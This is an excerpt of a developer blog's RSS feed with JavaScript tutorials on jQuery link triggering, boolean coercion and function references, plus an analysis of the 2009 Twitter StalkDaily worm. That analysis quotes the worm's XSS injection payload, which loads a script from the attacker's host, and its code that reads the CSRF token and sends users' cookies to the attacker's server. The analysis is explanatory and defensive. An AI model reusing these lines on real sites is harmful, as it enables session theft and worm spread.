<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>unitstep.net &#187; JavaScript</title>
	<atom:link href="http://unitstep.net/blog/category/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://unitstep.net</link>
	<description>the home of peter chng</description>
	<lastBuildDate>Mon, 06 Feb 2012 01:23:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Triggering links from JavaScript using jQuery</title>
		<link>http://unitstep.net/blog/2010/04/12/triggering-links-from-javascript-using-jquery/</link>
		<comments>http://unitstep.net/blog/2010/04/12/triggering-links-from-javascript-using-jquery/#comments</comments>
		<pubDate>Tue, 13 Apr 2010 00:56:48 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[jquery javascript tutorials]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=1107</guid>
		<description><![CDATA[Sometimes, you may want to trigger a link (that is, an anchor element) directly from JavaScript. That is, you may want to simulate the user clicking on the link programmatically. If you&#8217;re using jQuery, you&#8217;ll no doubt be aware of the click() method which can be used to trigger that event on an object. One [...]]]></description>
			<content:encoded><![CDATA[<p>Sometimes, you may want to trigger a link (that is, an <a href="http://htmlhelp.com/reference/html40/special/a.html">anchor element</a>) directly from JavaScript.  That is, you may want to simulate the user clicking on the link programmatically.</p>
<p>If you&#8217;re using jQuery, you&#8217;ll no doubt be aware of the <a href="http://api.jquery.com/click/"><code>click()</code></a> method which can be used to trigger that event on an object.  One would think that executing <code>click()</code> on an anchor element would cause the browser to navigate to the <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>, but this isn&#8217;t the case.  <strong>You cannot use jQuery&#8217;s <code>click()</code> method to fully trigger or simulate a user clicking on a link.</strong></p>
<p>Instead, <code>click()</code>, when executed on links, only seems to trigger any event handlers attached to the DOM element rather than any default behaviour.  I&#8217;m not sure if this is the case with other event methods or other DOM elements.</p>
<h2>The solution</h2>
<p>Instead, the solution is to directly manipulate the <code>window.location</code> object from JavaScript.  One would think that since preventing the default action is quite simple (with jQuery&#8217;s <a href="http://api.jquery.com/event.preventDefault/"><code>event.preventDefault()</code></a>), triggering the default action of a link click would also be.  But this isn&#8217;t the case.  Here&#8217;s a simple example on how to simulate a user clicking on a link.</p>
<p>In this contrived example, we have an ordered list of links that we&#8217;ve prevented the default action from executing on each.  Instead, to activate a link we&#8217;ve provided an input box for the user to input the link number and then hit &#8216;Go&#8217;.  When this happens, we grab the identified link and assign the <code>href</code> attribute value of the link to <code>window.location</code>, effectively recreating the default action of clicking the link.</p>
<p><acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> Source:</p>
<pre><code>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD <a href="http://www.w3.org/MarkUp/" class="ubernym uttInitialism"><acronym class="uttInitialism" title="eXtensible HyperText Markup Language - HTML reformulated as XML">XHTML</acronym></a> 1.0 Strict//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
&lt;head&gt;
  &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;

  &lt;title&gt;jQuery Demos&lt;/title&gt;
  &lt;link rel="stylesheet" href="styles.css" media="all" /&gt;
  &lt;script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"&gt;&lt;/script&gt;
  &lt;script type="text/javascript" src="scripts.js"&gt;&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;jQuery Demos&lt;/h1&gt;

&lt;ol id="outboundLinks"&gt;
  &lt;li&gt;&lt;a href="http://www.google.com"&gt;Google&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.theglobeandmail.com/"&gt;The Globe and Mail&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://stackoverflow.com/"&gt;Stack Overflow&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
Link Number to activate:
&lt;input id="linkNumber" type="text" size="3" /&gt;
&lt;input id="activateLink" type="button" value="Go" /&gt;
&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>JavaScript in <code>scripts.js</code>:</p>
<pre><code>jQuery(function(e)
{
  jQuery("#outboundLinks").click(function(e)
  {
    e.preventDefault();
  });

  jQuery("#activateLink").click(function(e)
  {
    var links = jQuery("#outboundLinks li a");
    var value = parseInt(jQuery("#linkNumber").val());

    if (!isValidNumber(value, links))
    {
      window.alert("Invalid link number.");
      return;
    }
    else
    {
      // This won't work.  We cannot trigger the default
      // behaviour of clicking on a link this way.
      // links.eq(value - 1).click();

      // Instead, manipulate window.location directly.
      window.location = links.eq(value - 1).attr("href");
    }
  });
});

function isValidNumber(value, links)
{
    if (isNaN(value))
    {
      return false;
    }
    else if (value &lt;= 0 || value &gt; links.size())
    {
      return false;
    }
    else {
      return true;
    }
}</code></pre>
<p>Note that <a href="https://developer.mozilla.org/En/DOM/Window.location"><code>window.location</code> is not a regular property</a>; it&#8217;s a special object that when assigned to, changes the <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> in the address bar of the browser.  There&#8217;s some debate over whether to directly <a href="https://developer.mozilla.org/Talk:en/DOM/window.location">use the location object or to use the <code>window.location.href</code> property</a>.</p>
<p>This accomplishes the task of triggering the default action of clicking on a link, albeit in a roundabout fashion.  Note that this example will only work for regular links that use <code>href</code> attributes as the source of the new <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>.  If you have links doing more complicated things via the use of event handlers (i.e. Ajax), then you&#8217;re better off using <a href="http://api.jquery.com/click/"><code>click()</code></a> or directly invoking the JavaScript methods involved.</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2010/04/12/triggering-links-from-javascript-using-jquery/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Evaluation of boolean values in JavaScript</title>
		<link>http://unitstep.net/blog/2009/08/11/evaluation-of-boolean-values-in-javascript/</link>
		<comments>http://unitstep.net/blog/2009/08/11/evaluation-of-boolean-values-in-javascript/#comments</comments>
		<pubDate>Wed, 12 Aug 2009 01:20:05 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[guides]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[boolean]]></category>
		<category><![CDATA[logical]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=987</guid>
		<description><![CDATA[If you have a background in a strongly-typed language such as Java, you&#8217;ll be used to using logical operators only with boolean values/expressions. However, in most dynamically-typed languages this doesn&#8217;t have to be the case, due to the nature of dynamic typing: The type of the variable is often determined based on the context in [...]]]></description>
			<content:encoded><![CDATA[<p>If you have a background in a strongly-typed language such as Java, you&#8217;ll be used to using logical operators only with boolean values/expressions.  However, in most dynamically-typed languages this doesn&#8217;t have to be the case, due to the nature of dynamic typing: The type of the variable is often determined based on the <em>context</em> in which it is used.</p>
<p>With <strong>JavaScript</strong> there are actually two concepts at play when using logical operators: What is actually returned from the result of a logical operation, and how variables are converted to boolean values when the context requires it.</p>
<h2>Undergoing a conversion</h2>
<p>Firstly, we&#8217;ll look at how variables in JavaScript are converted to boolean values.  One way to explicitly convert a non-boolean value to a boolean one in JavaScript is to use the <a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Objects/Boolean#Description">global Boolean object as a function</a>.  By using the following code, you can explicitly get the boolean conversion of a variable or expression:</p>
<pre><code>var asBoolean = Boolean(someVariable);</code></pre>
<p>The variable <code>asBoolean</code> is now guaranteed to have a boolean value.  <strong>Note that this is not the same as the expression <code>new Boolean(someVariable)</code>, as that returns a Boolean (wrapper) object representing the converted value of <code>someVariable</code>, not a boolean primitive.</strong></p>
<p>So what values of <code>someVariable</code> will result in <code>true</code> being returned, and which ones will result in <code>false?</code>  The following values will evaluate to <code>false</code>, while all others will evaluate to <code>true</code>:</p>
<ul>
<li>0 or -0 (Most floating-point implementations have <a href="http://en.wikipedia.org/wiki/Signed_zero">positive and negative zero</a>, due to the IEEE 754 standard)</li>
<li>null</li>
<li>undefined</li>
<li>NaN</li>
<li>The empty string (&#8220;&#8221;)</li>
<li><code>false</code> itself</li>
</ul>
<p>This means that all other expressions or values, including any non-null object (including the <code>Boolean</code> object for false!) and the string &#8220;false&#8221; will be converted to true.</p>
<p>Note that using the <code>Boolean</code> function isn&#8217;t the only way to explicitly convert a variable to its boolean equivalent.  You could also apply the logical NOT operator twice, like so:</p>
<pre><code>var asBoolean = !(!someVariable);</code></pre>
<p>This is because the contract of the logical NOT operator in JavaScript is to return false if the operand can be converted to true and true otherwise.  The second NOT simply reverses the negation done by the first NOT operator.  While all of this may seem dead simple, it will be important to note as we move on to how other logical operators work.</p>
<h2>Logical conversion</h2>
<p>This is perhaps the most important difference with JavaScript.  <strong>Although the logical NOT operator (!) is guaranteed to return a boolean value, the logical AND (&#038;&#038;) and logical OR (||) operators are not</strong>.  This is by design, and although it might be a bit of a change for some developers, the feature can actually be quite useful.</p>
<p>Consider the following code examples:</p>
<pre><code>var result = a &amp;&amp; b</code></pre>
<p><strong>In this example of using logical AND, <code>a</code> is returned if it can be converted to false; otherwise <code>b</code> is returned.</strong></p>
<pre><code>var result = a || b</code></pre>
<p><strong>In this example of using logical OR, <code>a</code> is returned if it can be converted to true; otherwise <code>b</code> is returned.</strong></p>
<p>This means that one of the original operands or expressions used with the logical operators will be returned as a result of the evaluation.  You will not always get an actual boolean value, unless both of the operands were booleans to begin with.  Usually, this doesn&#8217;t matter, since if you use the result in a boolean context, it will get converted to the expected value.  For example:</p>
<pre><code>var string1 = "";
var string2 = "a string that is not empty";
var result = string1 || string2;
if (result)
{
  window.alert("At least one string was not empty");
  window.alert(result);
}</code></pre>
<p>This example will output &#8220;At least one string was empty&#8221;, and then &#8220;a string that is not empty&#8221;.  This is because the logical OR operator first converts <code>string1</code> to a boolean, which results in <code>false</code>.  Thus, the result of the logical OR returns <code>string2</code> into the result.  Since the result is now a non-empty string, it converts to <code>true</code> for the if-conditional.  </p>
<p>This also highlights a convenient way of using logical OR &#8211; give me the first expression if it evaluates to true, otherwise give me the second.  This is usually used to test for the availability of built-in objects in a particular JavaScript environment.</p>
<p>However, consider the following example:</p>
<pre><code>var string1 = "";
var string2 = "a string that is not empty";
var result = string1 || string2;
if (true == result)
{
  // We will never get here.
  window.alert("At least one string was not empty");
  window.alert(result);
}</code></pre>
<p>In this slightly changed example, instead of directly supplying the result to the if-conditional, we test whether it is equal to <code>true</code>.  In this case, it fails, since when using the <a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Operators/Comparison_Operators">equality operator</a>, operands are not converted to booleans.  (Using the strict equality operator also would not work)</p>
<p>This underscores an important point: <strong>If you actually want a boolean value to work with, you will have to explicitly convert it, using either the <code>Boolean</code> function or a double application of the logical NOT operator</strong>, like so:</p>
<pre><code>result = Boolean(result);
// Or, we could do this:
result = !(!result);</code></pre>
<h2>Conclusion</h2>
<p>JavaScript offers some neat features due to its dynamic typing and these can help speed development, but you just need to be aware of how they work so that you don&#8217;t get tripped up.  This is especially true when dealing with implicit type conversion and how logical operators work.  I hope you found this helpful and as always, any feedback is appreciated!</p>
<h3>References</h3>
<ol class="less note">
<li><a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Guide/Operators/Logical_Operators">Logical Operators</a></li>
<li><a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Boolean_Object">Boolean Object</a></li>
<li><a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Objects/Boolean#Description">Boolean Description</a></li>
<li><a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Operators/Comparison_Operators">Comparison Operators</a></li>
</ol>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/08/11/evaluation-of-boolean-values-in-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How the Twitter StalkDaily Worm spread so fast</title>
		<link>http://unitstep.net/blog/2009/04/13/how-the-twitter-stalkdaily-worm-spread-so-fast/</link>
		<comments>http://unitstep.net/blog/2009/04/13/how-the-twitter-stalkdaily-worm-spread-so-fast/#comments</comments>
		<pubDate>Tue, 14 Apr 2009 03:50:40 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[worm]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=847</guid>
		<description><![CDATA[If you use Twitter a lot (unlike me) you&#8217;ll likely have been alerted and worried about the presence of a worm that&#8217;s been making the rounds at the popular micro-blogging website. The so-called &#8220;StalkDaily&#8221; worm was first noticed on Saturday, and it appeared to be able to &#8220;infect&#8221; a user&#8217;s Twitter profile, causing random tweets [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/04/biohazard.jpg" alt="biohazard" title="biohazard" width="100" height="145" class="alignnone size-full wp-image-853" /></p>
<p>If you use Twitter a lot (unlike me) you&#8217;ll likely have been alerted and worried about the <a href="http://www.techcrunch.com/2009/04/11/twitter-hit-by-stalkdaily-worm/">presence of a worm that&#8217;s been making the rounds</a> at the popular micro-blogging website.  The so-called &#8220;StalkDaily&#8221; worm was first noticed on Saturday, and it appeared to be able to &#8220;infect&#8221; a user&#8217;s Twitter profile, causing random tweets about the StalkDaily website (<strong>don&#8217;t go there</strong>)  to show up on their profile.  Furthermore, other user&#8217;s Twitter profiles could also become infected, seemingly by <strong>only viewing the profile of another infected user</strong>.</p>
<p>Eventually the <a href="http://gist.github.com/93782">source code of the worm was uncovered</a>, (safe to view) and a quick analysis of the worm shows why it was able to quickly spread through Twitter so fast.  Here&#8217;s an overview of how the worm worked.</p>
<h2>Overview</h2>
<p>The StalkDaily worm was apparently <a href="http://adjix.com/af5t">written by a person named &#8220;Mikeyy Mooney&#8221;</a>, who is evidently a 17-year old from Brooklyn, New York.  He created the original worm, plus other derivatives that spread using the same mechanism but displayed different messages on the infected user&#8217;s profile.  The attack was not able to steal user&#8217;s passwords, thanks to Twitter&#8217;s security configuration, but <a href="http://www.cbc.ca/technology/story/2009/04/13/twitter-worm.html">it nonetheless caused over 10,000 unauthorized tweets</a> to show up on users&#8217; profiles.</p>
<h2>Drilling down</h2>
<p>An analysis of the <a href="http://gist.github.com/93782">source code of the worm</a> yields some insight into how this malicious code was able to spread so effectively.  Specifically, the attack used <a href="http://en.wikipedia.org/wiki/Cross-site_scripting#Persistent">Type 2 or persistent XSS vulnerability</a>, the most serious type, in order to achieve DOM/JavaScript injection into the Twitter site.</p>
<p>In this sort of attack, the attacker was able to arbitrary JavaScript into a page that was publicly viewable by any other user; in this case the page was a user&#8217;s profile.  This injected JavaScript was then used to &#8220;infect&#8221; the profile of the user who viewed the already-infected profile, causing the cycle to repeat.</p>
<p>Specifically, the &#8220;<acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>&#8221; field of the user&#8217;s profile is targeted.  This contents of this field were apparently not sanitized from user input, or the contents were not properly converted to <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> entities when setting the contents to the value of the <code>href</code> attribute when displaying the user&#8217;s <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> or homepage/website.  This is seen in lines 104 and 109 of the source code, shown below:</p>
<pre><code>var xss = urlencode('http://www.stalkdaily.com"&gt;</a>&lt;script src="http://mikeyylolz.uuuq.com/x.js"&gt;&lt;/script&gt;&lt;a ');
...
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&amp;user[url]="+xss+"&amp;tab=home&amp;update=update");</code></pre>
<p>The last line is where the user&#8217;s profile is updated to show the offending JavaScript; this essentially make the user&#8217;s profile execute the worm&#8217;s source code, causing anyone who views the profile to become &#8220;infected&#8221; themselves.</p>
<p>Thus the attacker was able to exploit this to arbitrarily inject a SCRIPT tag into the DOM linking to a JavaScript file (<code>x.js</code>) on his site.  By doing this, he was able to get code he owned (the JavaScript file on his own website) to run at the privilege level of scripts on the Twitter.com domain.  This &#8220;privilege escalation&#8221; of sorts is what allowed the script to perform actions on behalf of the user, including infecting their profile to spread to others, and causing the user to tweet phrases of the attacker&#8217;s choice.</p>
<h2>Spreading</h2>
<p>Once infected, a user&#8217;s profile would contain a link to the malicious JavaScript as described above.  This is because the user&#8217;s profile shows a link to their website <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>, which had been altered to inject the malicious JavaScript residing the attacker&#8217;s server.  Because of this, <strong>anyone who was logged into Twitter and viewed an infected user&#8217;s profile would themselves be infected</strong>, and their profile would then become a vector for transmission of the worm, completing the cycle. </p>
<p>The source code also shows that each time you viewed an infected profile, the script would cause you to randomly tweet one of six different phrases, all of which linked to the StalkDaily website.  It appears the <a href="http://adjix.com/b52w">attacker was trying to promote his website this way</a>, but it&#8217;s also possible that going to this website could also cause you to become infected.  While viewing a resource directly on the StalkDaily website could not cause you to become infected, due to the same-origin policy, it&#8217;s possible that a hidden <code>iframe</code> could be included on the site, pointing towards the profile of an infected user.  This would case you to become infected.</p>
<h2>Why XSS is so important to prevent against</h2>
<p>Cross-site scripting attacks, or XSS for short, essentially occur because user-input data is not properly sanitized prior to being committed to persistent storage, or is not properly escaped into <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> entities before being output to a webpage or displayed.  This can allow a malicious user to inject or alter the structure of the DOM, inserting <code>script</code> tags to inject their own arbitrary JavaScript into your website.</p>
<p>This attack demonstrates the need to effectively guard against these vulnerabilities, because such flaws can undermine other security precautions you have taken.  For example, the source code of the worm shows that Twitter was using an &#8220;authentication token&#8221; for all form submissions in order to prevent <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-site Request Forgery (CSRF) attacks</a>.  This is essentially using a temporary, random value to ensure that a form was submitted from the Twitter website itself, so that not any website can submit a form request to Twitter on behalf of a user.</p>
<p>This can normally prevent malicious websites from performing actions on your behalf without your knowledge; however because the XSS vulnerability allowed for DOM/script injection, the attacker&#8217;s script (on a separate domain) was able to run with the same privilege of a script on Twitter&#8217;s own site.  Thus, it was able to read in the &#8220;authentication token&#8221; value from the <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> of the Twitter webpage, and use it to properly craft form submission data to alter the user&#8217;s profile and tweet on their behalf.  This is seen on lines 85-90:</p>
<pre><code>var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);</code></pre>
<p>Note that using a cookie to store the authentication token would not have prevented this.  Because the script was running within the scope of the Tiwtter.com domain, it would be able to access the user&#8217;s cookies!  In fact it does exactly this, and furthermore it sends your cookies to the attacker&#8217;s server so they can keep a log of them! Lines 78-81 show this: (The username is obtained from the DOM, much like the authentication token)</p>
<pre><code>var cookie;
cookie = urlencode(document.cookie);
document.write("&lt;img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&amp;username=" + username + "'&gt;");
document.write("&lt;img src='http://stalkdaily.com/log.gif'&gt;");</code></pre>
<h2>Other notes</h2>
<p>Obviously central to this problem is the ability of scripts on other domains to run within the scope of another domain simply by being linked to on the page via a <code>script</code> element.  This allows scripts not under the control of the originating domain to be able to access cookies and other information that would not be normally accessible.  </p>
<p>However, this ability also allows useful services such as Google Analytics and other third-party services/APIs such as Google Maps, to work easily across different websites, allowing services to expose their features through a JavaScript API.  Thus, making browsers reject third-party SCRIPT tags would cause serious usability problems; a better idea is to use a Firefox plugin like <a href="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript</a> so that the user can have fine-grained control over issues like this. </p>
<p>Other points of interest when looking at the source code is that the bulk of the code are utility functions.  The actual malicious code only takes up the last third of the file or so.  For example, the function <code>XHConn()</code> is simply a standard cross-browser compatible implementation of <a href="http://en.wikipedia.org/wiki/XMLHttpRequest">XMLHttpRequest</a>, the API used for the Ajax requests necessary to alter the user&#8217;s profile.  Additionally, the <code>urlencode()</code> function is another utility function that allows values like the user&#8217;s cookies and the actual malicious <code>script</code> tag to be properly submitted in the Ajax request.</p>
<p>Lastly, the malicious code is set to be executed 3250 ms after the script is fully-loaded. (line 111)  This is likely to ensure that the DOM is fully loaded and ready to be traversed to find things like the username and authentication token, instead of hooking into an event like <code>window.onload</code>.</p>
<h2>Concluding remarks</h2>
<p>This analysis identifies the following points:</p>
<ol>
<li>The worm spreads by updating your profile <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> to include the malicious script.</li>
<li>Simply viewing the profile of an infected user is suffice to cause your profile to become infected.</li>
<li>Every time you view the profile of an infected user, including your own, the worm will cause you to automatically tweet one of the random messages.</li>
<li>The random tweets from an infected user <strong>do not</strong> appear to contain the malicious code, probably because output here has been protected against that.</li>
<li>The worm steals the cookies you have set for the Twitter.com domain, along with your username, but thankfully no password information is stolen since Twitter does not store that sort of information in cookies.  It also appears to log each visit to an infected user&#8217;s profile.</li>
<li>Visiting a third-party site (such as the StalkDaily website) may infect your Twitter profile if a hidden iframe has been included, pointing towards the profile of an infected user.  This can be hard to detect, so using something the <a href="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript Firefox extension</a> is recommended.</li>
</ol>
<p>Note that this is not a criticism of Twitter itself, as designing any web application is  difficult from a security perspective; it&#8217;s also worthwhile to note that Twitter responded fast to this issue, within hours on a Saturday.  They appeared to have the <a href="http://blog.twitter.com/2009/04/wily-weekend-worms.html">situation under control as of yesterday</a> and had patched the hole as well as being on their way to cleaning up infected users&#8217; profiles.  Understandably they are very upset and I hope they are able to sort the whole issue out.</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/04/13/how-the-twitter-stalkdaily-worm-spread-so-fast/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>JavaScript functions: First-class objects</title>
		<link>http://unitstep.net/blog/2009/03/23/javascript-functions-first-class-objects/</link>
		<comments>http://unitstep.net/blog/2009/03/23/javascript-functions-first-class-objects/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 02:55:05 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[functions]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[tutorials]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=806</guid>
		<description><![CDATA[In JavaScript, functions are first-class objects, meaning that they can be created, manipulated and passed around in the same manner as other objects/variables in JavaScript. For example, a function can be created, stored in a variable or even be the return value of another function, as seen below: function getPower(power) { return function(x) { return [...]]]></description>
			<content:encoded><![CDATA[<p>In JavaScript, <a href="https://developer.mozilla.org/En/Core_JavaScript_1.5_Reference/Functions_and_function_scope">functions are first-class objects</a>, meaning that they can be created, manipulated and passed around in the same manner as other objects/variables in JavaScript.  For example, a function can be created, stored in a variable or even be the return value of another function, as seen below:</p>
<pre><code>function getPower(power)
{
  return function(x)
  {
    return Math.pow(x, power);
  }
}

var x3 = getPower(3);
window.alert(x3(3)); // Outputs 27.</code></pre>
<p>In the rather stupid and contrived example above, we make a function <code>getPower()</code> that returns another function which raises the given value to the exponent supplied by calling <code>getPower()</code>.  (This is a bad way to do things for numerous reasons, but is just shown for the sake of providing a simple example)</p>
<p>We then call <code>getPower</code> with a power of 3 and assign the returned function to the variable <code>x3</code>, and the output is as expected.  Defining &#8220;inline&#8221; functions this way and manipulating them is closely associated with the concept of anonymous functions.</p>
<h2>Functions: Copied and passed by reference</h2>
<p>Since functions are objects, and <a href=" http://nefariousdesigns.co.uk/archive/2006/05/object-oriented-javascript/">objects are passed and copied <em>by reference</em></a>, <a href="https://developer.mozilla.org/Talk:En/Core_JavaScript_1.5_Guide/Defining_Functions">the behaviour</a> should be fairly straightforward to those familiar with the concept.  Here&#8217;s a quick example of what I&#8217;m talking about.  Since JavaScript functions can be treated just like plain old objects, this means we can attach arbitrary properties to them &#8211; let&#8217;s see how that relates to making a &#8220;copy&#8221; of a function:</p>
<pre><code>function test() {window.alert("A Test");}
f = window.test;
window.test.aProperty = 'Hello!';
window.alert(f.aProperty); // Outputs "Hello!"

f.aProperty = 'Goodbye!';
window.alert(window.test.aProperty); // Outputs "Goodbye!"</code></pre>
<p>The key here is that the expression <code>f = window.test;</code> doesn&#8217;t make a complete copy of the function; instead it just ensures that the variable <code>f</code> will point at the same function object as <code>window.test</code>.  So expressions that modify the underlying function object and its data will reflect in both <code>window.test</code> <strong>and</strong> <code>f</code>.  Just think of those two variables as being different ways of accessing the same underlying data.</p>
<p>But let&#8217;s consider another example: <strong>What happens if we make a copy of a function and then redefine the original?</strong></p>
<pre><code>function test() {window.alert("A Test");}

f = window.test;
f(); // "A Test"

// Redefine the original function.
test = function() {window.alert("A changed test");};

f(); // Still "A Test"!
window.test(); // "A changed test"</code></pre>
<p>The results are a bit strange &#8211; it appears that when we redefine <code>test</code>, the changes <strong>are not reflected</strong> in the copy we created in variable <code>f</code>! Why is this?</p>
<p>Closer inspection yields the following answer: <strong>We were not actually redefining the function pointed to by <code>test</code></strong>.  Instead, we created a new <a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Objects/Function"><code>Function</code></a> object in memory and then &#8220;pointed&#8221; <code>test</code> at this new function.  The old function, formerly referenced by <code>test</code>, is still referenced by the variable <code>f</code> so that is why it continues to invoke that code.</p>
<p>This is illustrated by the following diagrams.  In the first, the original function has been defined and two variables refer to it.</p>
<p class="image">
<img src="http://unitstep.net/wordpress/wp-content/uploads/2009/03/javascript-function-1.png" alt="javascript-function-1" title="javascript-function-1" width="272" height="75" class="alignnone size-full wp-image-815" />
</p>
<p>In the second diagram, we have created a new function and altered the variable <code>test</code> to refer to it; however the variable <code>f</code> still refers to the original function.  Thus, the important thing to note is that when using the assignment operator for functions, they are copied by reference.</p>
<p class="image">
<img src="http://unitstep.net/wordpress/wp-content/uploads/2009/03/javascript-function-2.png" alt="javascript-function-2" title="javascript-function-2" width="280" height="130" class="alignnone size-full wp-image-816" /><br />
The original function is still referenced by <code>f</code>
</p>
<h2>Where this matters</h2>
<p>This point has relevance when talking about event handlers.  Typically, when we bind functions to a specific events this involves copying a function reference over to some other variable or property.  Whether we directly do this using <a href="http://www.quirksmode.org/js/events_tradmod.html">traditional event registration</a> by using an expression like <code>element.onclick = someFunction</code> or whether it&#8217;s done using jQuery&#8217;s <a href="http://docs.jquery.com/Events">Event Helpers</a>, the effect is the same.</p>
<p>This means that after assigning the event handler, <strong>we cannot simply modify the original function to make changes to how the event handler works</strong>.  This is because when we assign a new function the old one will still be referenced by the event handler.  The proper way to do this at runtime would be simply to register the new function to the event and deregister the old one.</p>
<p>Another way to think of it is that you can often register anonymous functions to events; since they are anonymous you won&#8217;t have a reference to them after you assign them to the event handler so there is no way to modify them after the fact.  This same logic applies equally when assigning non-anonymous functions to events.</p>
